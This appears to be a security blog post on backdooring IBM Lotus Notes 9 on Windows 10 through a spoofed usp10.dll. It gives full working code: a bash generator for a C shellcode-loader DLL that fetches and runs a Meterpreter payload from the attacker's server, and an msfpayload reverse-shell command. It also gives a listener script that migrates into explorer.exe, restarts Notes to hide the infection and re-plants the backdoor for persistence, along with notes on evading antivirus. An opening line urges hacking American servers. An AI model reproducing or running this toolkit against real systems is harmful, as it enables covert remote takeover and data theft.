Kak vobshe mogut Ruskie vzlomshiki razrabotat Amerikanskie servera ??? Davai Kirill dui prjamo po koridoru i vzlamyvai te suki.
This was a particularly nice exercise and I will share my findings here, maybe somebody will find this useful. A few years ago I have written an article on this issue about backdooring Lotus Notes 8 on Windows 7 via uniscribe dll path spoofing. This was in July 2011
https://astr0baby.wordpress.com/2011/07/11/backdooring-win7-and-lotusnotes-8-5-x/
So in 2017 I decided to look if this very same issue still persists in latest Lotus Notes and a modern Windows 10 OS.
For my experiment I have chosen the following software :
- Laptop with Linux Mint with Virtual Box to host guest VMs
- Laptop with Linux Mint and Metasploit v4.13.13-dev-18347a8
- Windows 10 64bit and Lotus notes 9.0.1 as a guest in Virtual Box VM
- Alpine Linux as a guest in Virtual Box VM as a router for other VMs
So lets get to business. In the original article from 2011 it was sufficient to generate a DLL via msfpayload and msfencode like so
./msfpayload windows/meterpreter/reverse_https LHOST=$IP LPORT=$port EXITFUNC=process R | ./msfencode -t dll > usp10.dll
Antivirus never flagged any Metasploit generated payloads back then, so life was easy and we popped shells like crazy. Over the years the rules changed a little and security software vendors started to strike back. I vaguely remember that after a while MS Defender started to pick on the Metasploit generated dll and I had to think of another evasive technique.
In 2013 I have used this to bypass AV signatures and heuristics
https://astr0baby.wordpress.com/2013/08/06/dll-hijacking-reloaded/
It worked for some time but after while the compiled DLLs got picked by the AVs again so another technique had to be chosen.
I have chosen Raphael’s method as shown here to bypass AVs (still gets by on most AVs)
https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/
and changed it a little to generate custom DLLs with custom entry points that vulnerable EXEs were calling
https://astr0baby.wordpress.com/2014/02/12/custom-meterpreter-loader-dll/
https://astr0baby.wordpress.com/2014/02/13/customising-meterpreter-loader-dll-part-2/
So to get back to the original point, none of these methods worked on the new Lotus Notes 9.0.1 and Windows 10 64bit image. Either the AV was detecting the Metasploit generated payload DLL or I could not see the DLL entry points in ProcessExplorer that was used in previous DLL function tagging.
So first what I did was to fire-up Process Monitor from Sysinternals (MS) to check if the Lotus Notes NLNOTES.EXE still looks for DLLs in wrong places … To my surprise it still does
So we have a user controlled directory located in %LOCALAPPDATA%\IBM\Notes\Data and we can place our custom usp10.dll file. For the sake of this exercise we are not covering the method of the actual file dropping to that destination, so I will call this a Metasploit persistence method instead.
From the initial analysis I could not see any entry point from the process details when the NLNOTES.EXE actually loaded the valid DLL from C:\Windows\SysWOW64\ directory
So no DLL function to see via PROCESS MONITOR dll load file details. So I decided to use a little tool from Nirsoft called Dll Export Viewer downloadable from here
http://www.nirsoft.net/utils/dll_export_viewer.html
With this tool I have managed to query the valid usp10.dll on Windows 10 to see all the entry points that could be used in the rogue dll for the Lotus Notes 9 attack.
Then I have filtered out all irrelevant data for this case
And selected all those functions and saved them into a text file which I have transferred to my Metasploit laptop for further use..
So next, I have moved this text file with usp10.dll.txt entry point functions to my attacker Linux box with Metasploit Framework. Make sure you convert it to UNIX format via :
fromdos usp10.dll.txt
Next I had to come up with some automation scripts. Don’t we all love automation ? So Here is my example for a C++ code generator for a special DLL file to be used in our scenario
DLL-LOTUS-NOTES-GENERATOR.sh
place this in your $METASPLOIT root directory and make it executable
#!/bin/bash clear echo "****************************************************************" echo " Automatic C source code generator - FOR METASPLOIT " echo " Based on rsmudge metasploit-loader " echo " Dll-EntryPoint Generator astr0 " echo "****************************************************************" echo -en 'Metasploit server IP : ' read ip echo -en 'Metasploit port number : ' read port echo -en "File with dll-entries from dllexp binary (make sure you did fromdos on it) /path/to/file :" read file echo -en "DLL filename : " rm temp.c custom-temp.c read dllfilename echo '#include <stdio.h>'> temp.c echo '#include <stdlib.h>' >> temp.c echo '#include <winsock2.h>' >> temp.c echo '#include <windows.h>' >> temp.c echo -n 'unsigned char server[]="' >> temp.c echo -n $ip >> temp.c echo -n '";' >> temp.c echo '' >> temp.c echo -n 'unsigned char serverp[]="' >> temp.c echo -n $port >> temp.c echo -n '";' >> temp.c echo '' >> temp.c echo 'void winsock_init() {' >> temp.c echo ' WSADATA wsaData;' >> temp.c echo ' WORD wVersionRequested;' >> temp.c echo ' wVersionRequested = MAKEWORD(2, 2);'>> temp.c echo ' if (WSAStartup(wVersionRequested, &wsaData) < 0) {' >> temp.c echo ' printf("bad\n"); '>> temp.c echo ' WSACleanup(); '>> temp.c echo ' exit(1);'>> temp.c echo ' }' >> temp.c echo ' }' >> temp.c echo ' void punt(SOCKET my_socket, char * error) {' >> temp.c echo ' printf("r %s\n", error);'>> temp.c echo ' closesocket(my_socket);'>> temp.c echo ' WSACleanup();'>> temp.c echo ' exit(1);' >> temp.c echo ' }' >> temp.c echo ' int recv_all(SOCKET my_socket, void * buffer, int len) {' >> temp.c echo ' int tret = 0;'>> temp.c echo ' int nret = 0;'>>temp.c echo ' void * startb = buffer;'>> temp.c echo ' while (tret < len) {'>>temp.c echo ' nret = recv(my_socket, (char *)startb, len - tret, 0);'>> temp.c echo ' startb += nret;'>> temp.c echo ' tret += nret;'>>temp.c echo ' if (nret == SOCKET_ERROR)'>> temp.c echo ' punt(my_socket, "no data");'>> temp.c echo ' }'>>temp.c echo ' return tret;'>> temp.c echo '}' >> temp.c echo 'SOCKET wsconnect(char * targetip, int port) {'>> temp.c echo ' struct hostent * target;' >> temp.c echo ' struct sockaddr_in sock;' >> temp.c echo ' SOCKET my_socket;'>>temp.c echo ' my_socket = socket(AF_INET, SOCK_STREAM, 0);'>> temp.c echo ' if (my_socket == INVALID_SOCKET)'>> temp.c echo ' punt(my_socket, ".");'>>temp.c echo ' target = gethostbyname(targetip);'>>temp.c echo ' if (target == NULL)'>>temp.c echo ' punt(my_socket, "..");'>>temp.c echo ' memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);'>>temp.c echo ' sock.sin_family = AF_INET;'>> temp.c echo ' sock.sin_port = htons(port);'>>temp.c echo ' if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )'>>temp.c echo ' punt(my_socket, "...");'>>temp.c echo ' return my_socket;'>>temp.c echo ' }'>> temp.c for i in `cat $file` ; do echo -n 'int ' >> custom-temp.c echo -n $i >> custom-temp.c echo '(int argc, char * argv[]) {' >> custom-temp.c echo ' FreeConsole();'>> custom-temp.c echo ' ULONG32 size;'>> custom-temp.c echo ' char * buffer;'>> custom-temp.c echo ' void (*function)();'>> custom-temp.c echo ' winsock_init();'>> custom-temp.c echo ' SOCKET my_socket = wsconnect(server, atoi(serverp));'>> custom-temp.c echo ' int count = recv(my_socket, (char *)&size, 4, 0);'>> custom-temp.c echo ' if (count != 4 || size <= 0)'>> custom-temp.c echo ' punt(my_socket, "error lenght\n");'>> custom-temp.c echo ' buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);'>> custom-temp.c echo ' if (buffer == NULL)'>> custom-temp.c echo ' punt(my_socket, "error in buf\n");'>> custom-temp.c echo ' buffer[0] = 0xBF;'>> custom-temp.c echo ' memcpy(buffer + 1, &my_socket, 4);'>> custom-temp.c echo ' count = recv_all(my_socket, buffer + 5, size);'>> custom-temp.c echo ' function = (void (*)())buffer;'>> custom-temp.c echo ' function();'>> custom-temp.c echo ' return 0;'>> custom-temp.c echo '}' >> custom-temp.c done; cat temp.c custom-temp.c > final-temp.c echo 'Compiling C code to Dll ..' /usr/bin/i686-w64-mingw32-gcc-5.3-win32 final-temp.c -o payload.dll -lws2_32 -shared strip payload.dll echo 'Make sure you rename the dll to your needs' echo 'Renaming to' $dllfilename mv payload.dll $dllfilename ls -la $dllfilename
So place this script in your Metasploit root directory, make it executable and make sure you provide the needed data :) That would be Listener IP, TCP Port, DLL-TEXT-FILE-with-entry points and a name of the final dll (our case is usp10.dll)
Also make sure you have the mingw32 environment setup on your platform. On Mint 17.3 I use /usr/bin/i686-w64-mingw32-gcc-5.3-win32 , not sure what other Linux distributions shit with, so customize to your environment.
The DLL file will be dropped in $METAPSLOIT folder ready to be deployed on the target.
Next we need to have a good Listener script with some automation again :) Don’t we love automation ?
LISTENER-LOTUS-NOTES.sh
place this in your $METASPLOIT root directory and make it executable
#!/bin/bash clear echo "***************************************************************" echo " Automatic shellcode generator - FOR METASPLOIT " echo " Metasploit custom listener for Lotus Notes " echo "***************************************************************" echo -e "What IP are we gonna listen to ? \c" read host echo -e "What Port Number are we gonna listen to? : \c" read port echo "Starting the meterpreter listener.." echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp ; set LHOST ' > run.listener.sh echo -n $host >> run.listener.sh echo -n '; set LPORT ' >> run.listener.sh echo -n $port >> run.listener.sh #Prepare an autorun rc script for metasploit echo 'migrate -N explorer.exe' > /tmp/migrate.rc echo ' cd %LOCALAPPDATA%' >> /tmp/migrate.rc echo ' cd IBM' >> /tmp/migrate.rc echo ' cd Notes' >> /tmp/migrate.rc echo ' cd Data ' >> /tmp/migrate.rc echo ' rm usp10.dll' >> /tmp/migrate.rc # Here we use a custom NOTES.EXE kill ruby script echo ' run notes-kill' >> /tmp/migrate.rc echo " execute -c -f 'C:\Program Files (x86)\IBM\Notes\notes.exe'" >> /tmp/migrate.rc # Stupid wait trick to buy some time for NLNOTES.EXE to load properly before we re-upload usp10.dll echo ' cd %LOCALAPPDATA%' >> /tmp/migrate.rc echo ' cd IBM' >> /tmp/migrate.rc echo ' cd Notes' >> /tmp/migrate.rc echo ' cd Data ' >> /tmp/migrate.rc echo ' cd %LOCALAPPDATA%' >> /tmp/migrate.rc echo ' cd IBM' >> /tmp/migrate.rc echo ' cd Notes' >> /tmp/migrate.rc echo ' cd Data ' >> /tmp/migrate.rc echo ' cd %LOCALAPPDATA%' >> /tmp/migrate.rc echo ' cd IBM' >> /tmp/migrate.rc echo ' cd Notes' >> /tmp/migrate.rc echo ' cd Data ' >> /tmp/migrate.rc # Lets drop the usp10.dll again for for persistance echo ' upload usp10.dll' >> /tmp/migrate.rc # And move to desktop echo ' cd %userprofile%' >> /tmp/migrate.rc echo ' cd Desktop' >> /tmp/migrate.rc # Set the runtime options for autorun echo -n ';set AutoRunScript multi_console_command -rc /tmp/migrate.rc ' >> run.listener.sh echo -n '; run"' >> run.listener.sh chmod +x run.listener.sh ./run.listener.sh
The reason behind such steps above is that once NLNOTES.EXE loads our custom usp10.dll it will get stuck because we supplied all valid functions in the compiled usp10.dll that point to loading the Meterpreter into memory. So in order to not look stupid I have humbly tried to “slow” down the Lotus Notes loading process, removing the usp10.dll, reloading the notes.exe via Metasploit automation scripting so it looks more natural :) (You can see from the demonstration video the whole process). The whole point is summarised in these steps
- migrate to explorer.exe
- cd to %LOCALAPPDATA%\IBM\Notes\Data
- remove the usp10.dll on the target so we can get a clean Notes start
- run a custom NOTES-kill script to kill NOTES.EXE
CUSTOM NOTES-KILL script should be placed in $METASPLOIT/scripts/meterpreter/notes-kill.rb
# Meterpreter script that kills IBM notes.exe # Provided by: Astr0baby @@exec_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help menu." ] ) def usage print_line("Usage:" + @@exec_opts.usage) raise Rex::Script::Completed end @@exec_opts.parse(args) { |opt, idx, val| case opt when "-h" usage end } print_status("Killing Lotus Notes services on the target...") notes = %W{ notes.exe } client.sys.process.get_processes().each do |x| if (notes.index(x['name'].downcase)) print_status("Killing off #{x['name']}...") client.sys.process.kill(x['pid']) end end
- Execute a valid C:\Program Files (x86)\IBM\Notes\notes.exe so that the user gets a working Notes client and not a stuck one because of our custom usp10.dll
- buy some time going around directories for the notes.exe to load with valid usp10.dll
- drop the backdoor usp10.dll again to the target for next exploitation :)
- change to user desktop folder on target
- collect loot
Here are the vids from the above
Generating the DLL
Executing the DLL on Windows via Lotus Notes 9